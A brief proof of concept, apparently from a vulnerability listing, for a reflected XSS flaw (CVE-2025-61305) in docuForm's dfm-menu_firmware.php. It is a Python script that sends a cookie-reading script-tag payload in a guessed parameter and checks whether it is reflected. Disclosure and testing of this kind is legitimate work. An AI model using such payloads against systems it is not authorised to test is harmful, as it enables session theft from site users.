CVE-2025-61305: docuForm反射型XSS漏洞

# Proof of Concept for CVE-2025-61305 import requests target = "http://target-host/dfm-menu_firmware.php" # Malicious payload to test XSS payload = "<script>alert(document.cookie);</script>" # Construct the malicious URL (assuming a parameter like 'input') # The exact parameter name depends on the application's implementation url = f"{target}?vulnerable_param={payload}" try: response = requests.get(url) if payload in response.text: print("[+] Vulnerability Confirmed: Payload reflected in response.") else: print("[-] Payload not reflected.") except Exception as e: print(f"Error: {e}")